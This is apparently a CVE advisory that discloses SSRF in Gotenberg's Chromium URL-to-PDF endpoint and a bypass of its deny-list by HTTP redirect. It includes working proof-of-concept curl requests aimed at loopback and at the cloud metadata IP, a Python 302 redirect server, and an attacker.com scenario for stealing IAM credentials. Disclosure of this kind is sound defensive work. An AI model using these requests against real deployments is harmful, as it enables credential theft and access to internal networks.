CVE-2026-42595

Description

A review of 4 published Gotenberg security advisories exposed an SSRF issue. GHSA-pjrr-jgp4-v2fm covers SSRF via the `downloadFrom` endpoint. GHSA-pcrp-7g9h-7qhp covers SSRF via the `webhook` endpoint. Neither advisory addresses SSRF through the primary Chromium URL-to-PDF conversion endpoint (`/forms/chromium/convert/url`), which has no default deny-list for HTTP/HTTPS targets. The redirect-based deny-list bypass described here also applies to `downloadFrom` and `webhook` but is a separate finding from the initial request validation those advisories cover. ### Summary Gotenberg's Chromium URL-to-PDF endpoint (`/forms/chromium/convert/url`) has no default protection against HTTP/HTTPS-based SSRF. The default deny-list regex only blocks `file://` URIs. An unauthenticated attacker can point Chromium at any internal IP — including loopback, RFC 1918 ranges, and cloud metadata endpoints — and receive the response rendered as a PDF. Additionally, even when operators configure a custom deny-list, the protection is bypassed via HTTP redirects. Gotenberg's Chromium instance follows `302` redirects from an attacker-controlled external URL to internal targets without re-validating the redirect destination against the deny-list. What makes this particularly notable is that Gotenberg's secondary features — `downloadFrom` and `webhook` — ship with default deny-lists that explicitly block RFC 1918 and link-local addresses. The primary feature, the one that literally takes a URL and fetches it server-side, does not. ### Details **Finding 1: Zero default SSRF protection on Chromium URL endpoint** The Chromium URL endpoint is the core feature of Gotenberg. It accepts a URL, tells headless Chromium to fetch it, and returns the rendered page as a PDF. The default deny-list is configured in `pkg/modules/chromium/chromium.go` and the value shipped in Docker is: ``` ^file:(?!//\/tmp/).* ``` This regex only blocks `file://` URIs outside of `/tmp/`. HTTP and HTTPS requests to any host — including `127.0.0.1`, `10.x.x.x`, `192.168.x.x`, and `169.254.169.254` — are not filtered at all. Meanwhile, the `downloadFrom` and `webhook` endpoints use deny-lists that explicitly block loopback, RFC 1918, and cloud metadata IPs. The developer clearly understood the SSRF risk but the protection was not applied to the main Chromium conversion endpoint. **Finding 2: Redirect-based SSRF bypass on all endpoints** Both `downloadFrom` and `webhook` use Go's default `http.Client{}` with no `CheckRedirect` function. Go follows up to 10 redirects automatically. The deny-list is a pre-flight check on the initial URL only. Once the request is in flight, redirects are followed transparently and the application never re-validates the destination. The Chromium browser similarly follows redirects without restriction. Even if an operator configures a custom deny-list on the Chromium URL endpoint, an attacker hosts a redirect server that passes initial validation and then redirects Chromium to an internal target. ### PoC Tested on Docker using `gotenberg/gotenberg:8` (v8.30.1) on `localhost:3000`. No authentication is required on any endpoint. **Environment:** ``` $ curl http://localhost:3000/version 8.30.1 $ curl http://localhost:3000/health {"status":"up","details":{"chromium":{"status":"up"},"libreoffice":{"status":"up"}}} ``` **1. Control — external URL works as expected:** ``` $ curl -X POST http://localhost:3000/forms/chromium/convert/url \ --form 'url=http://example.com' \ -o test.pdf -w "HTTP %{http_code}, Size: %{size_download} bytes" HTTP 200, Size: 14961 bytes $ file test.pdf test.pdf: PDF document, version 1.4, 1 page(s) ``` **2. Control — `file://` protocol is correctly blocked by default deny-list:** ``` $ curl -X POST http://localhost:3000/forms/chromium/convert/url \ --form 'url=file:///etc/passwd' \ -w "HTTP %{http_code}" HTTP 403 Body: Forbidden ``` **3. SSRF to localhost — NOT blocked:** ``` $ curl -X POST http://localhost:3000/forms/chromium/convert/url \ --form 'url=http://127.0.0.1:3000/health' \ -o ssrf.pdf -w "HTTP %{http_code}, Size: %{size_download} bytes" HTTP 200, Size: 10196 bytes ``` Chromium fetched its own `/health` endpoint and rendered the response as a PDF. The request succeeded because the default deny-list does not cover HTTP to loopback. **4. Cloud metadata IP — NOT blocked:** ``` $ curl --max-time 15 -X POST http://localhost:3000/forms/chromium/convert/url \ --form 'url=http://169.254.169.254/latest/meta-data/' \ -o meta.pdf -w "HTTP %{http_code}, Size: %{size_download} bytes" HTTP 000, Size: 0 bytes (timeout — no metadata service in Docker, but request was NOT blocked) ``` The request timed out because there is no metadata service running in the Docker test environment. The critical observation is that Gotenberg did not block or reject the request. In a cloud deployment (AWS, GCP, Azure), this would return IAM credentials rendered as a PDF. **5. Redirect-based bypass — Chromium follows 302 to internal target:** Redirect server on the host (port 9999): ```python from http.server import HTTPServer, BaseHTTPRequestHandler class RedirectHandler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(302) self.send_header('Location', 'http://127.0.0.1:3000/health') self.end_headers() def do_HEAD(self): self.do_GET() HTTPServer(('0.0.0.0', 9999), RedirectHandler).serve_forever() ``` ``` $ curl --max-time 15 -X POST http://localhost:3000/forms/chromium/convert/url \ --form 'url=http://172.17.0.1:9999/' \ -o redir.pdf -w "HTTP %{http_code}, Size: %{size_download} bytes" HTTP 200, Size: 10244 bytes $ file redir.pdf redir.pdf: PDF document, version 1.4, 1 page(s) ``` Chromium followed the 302 redirect from `http://172.17.0.1:9999/` (external, passes any deny-list) to `http://127.0.0.1:3000/health` (internal). The internal response was rendered as a PDF and returned to the caller. No validation occurred on the redirect destination. The Chromium endpoint accepted all HTTP/HTTPS URLs including loopback and cloud metadata addresses. Only `file://` URIs were blocked by the default deny-list. The redirect from an external server to `127.0.0.1` was also followed without any check on the redirect target. ### Impact Any user who can reach the Gotenberg API — which requires no authentication by default — can make the server fetch arbitrary internal resources and receive the rendered content as a PDF. Gotenberg is typically deployed as a backend service in infrastructure that has broad internal network access. Practical attack scenarios: - **Cloud credential theft**: Request `http://169.254.169.254/latest/meta-data/iam/security-credentials/` to exfiltrate AWS IAM role credentials. The same applies to GCP and Azure metadata endpoints. - **Internal service access**: Reach any HTTP service on the internal network that the Gotenberg container can route to — admin panels, databases with HTTP interfaces, monitoring dashboards. - **Internal port scanning**: Use response timing and content differences to map internal infrastructure. - **Deny-list bypass via redirect**: Even deployments that have configured custom deny-lists for the initial URL are vulnerable. An attacker hosts a redirect server at `https://attacker.com/r` that responds with `302 → http://169.254.169.254/latest/meta-data/`. The deny-list validates the initial URL, Chromium follows the redirect, and the cloud metadata is returned as a PDF. The redirect bypass also affects the `downloadFrom` and `webhook` endpoints, which use Go's `http.Client{}` with no `CheckRedirect` function. Their RFC 1918 deny-lists are rendered ineffective by a single redirect hop. ---